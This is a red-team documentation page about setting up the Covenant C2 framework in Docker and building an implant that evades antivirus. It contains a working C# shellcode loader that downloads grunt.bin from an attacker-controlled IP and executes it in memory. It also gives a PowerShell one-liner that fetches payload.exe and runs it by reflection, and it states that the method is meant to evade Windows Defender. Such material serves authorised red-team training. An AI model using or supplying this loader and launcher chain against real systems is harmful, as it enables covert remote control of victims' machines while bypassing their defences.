> For the complete documentation index, see [llms.txt](https://docs.ctrl-z.rocks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.ctrl-z.rocks/tools/redteam-and-c2/covenant-c2.md).

# Covenant C2

Covenant is a C2 framework written in .NET core, which makes it cross-platform and easy to use. We will set this up in a docker. Clone the dev branch and then build the docker.

{% embed url="<https://github.com/cobbr/Covenant>" %}

```bash
git clone --recurse-submodules [https://github.com/cobbr/Covenant](https://github.com/cobbr/Covenant) -b dev
cd Covenant
docker build -t covenant .
sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /path-to-Covenant/Data:/app/Data covenant
```

You can reuse the same container later with the following command: `sudo docker start covenant -ai`

## Payload and Launcher creation

Browsing to [https://127.0.0.1:7443](https://127.0.0.1:7443/) will bring us to the Covenant UI. Create a new account and then cd Cologin. We will be generating a binary and converting it to shellcode using [donut](https://github.com/TheWover/donut). This will let us evade Windows Defender and inject this to get grunts.

Navigate to `Listeners` and create a new listener on port 80. Make sure that the `ConnectAddress` is set to the VPN/VM address. Next, go to `Launchers` and select `BinaryLauncher` . Set `DotNetVersion` to 4.0 and the `Name` to `grunt` . The Delay can be reduced to `3`. Generate and download the binary, then use donut to convert it to shellcode.

Now compile following C# code, which will load this shellcode and execute it.

```csharp
using System;
using System.Net;
using System.Runtime.InteropServices;

namespace Reflection
{

		public class Program
		{

				public delegate void grunt();
				[DllImport("kernel32.dll")]
				public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwsize, uint
flNewProtect, out uint lpflOldProtect);

				public static void Main()
				{

						var wc = new WebClient();
						var sc = wc.DownloadData("http://(your ip):8080/grunt.bin");

						GCHandle pinned = GCHandle.Alloc(sc, GCHandleType.Pinned);
						IntPtr ptr = pinned.AddrOfPinnedObject();
						Marshal.Copy(sc, 0, ptr, sc.Length);

						uint lpflOldProtect;
						VirtualProtect(ptr, (UIntPtr)sc.Length, 0x40, out lpflOldProtect);

						grunt exec = Marshal.GetDelegateForFunctionPointer<grunt>(ptr);
						exec();

				}

		}
}
```

The code above pins the shellcode into memory, makes it executable and then executes it. This can be compiled with mono on Linux.

```bash
apt install mono-mcs
mcs payload.cs
```

Once the compilation succeeds, copy the following PowerShell code for the launcher.

```bash
$bytes = (new-object net.webclient).downloaddata('http://(your ip):8080/payload.exe')
[System.Reflection.Assembly]::Load($bytes)
[Reflection.Program]::Main()
```

This will load the binary in memory and execute it via reflection.
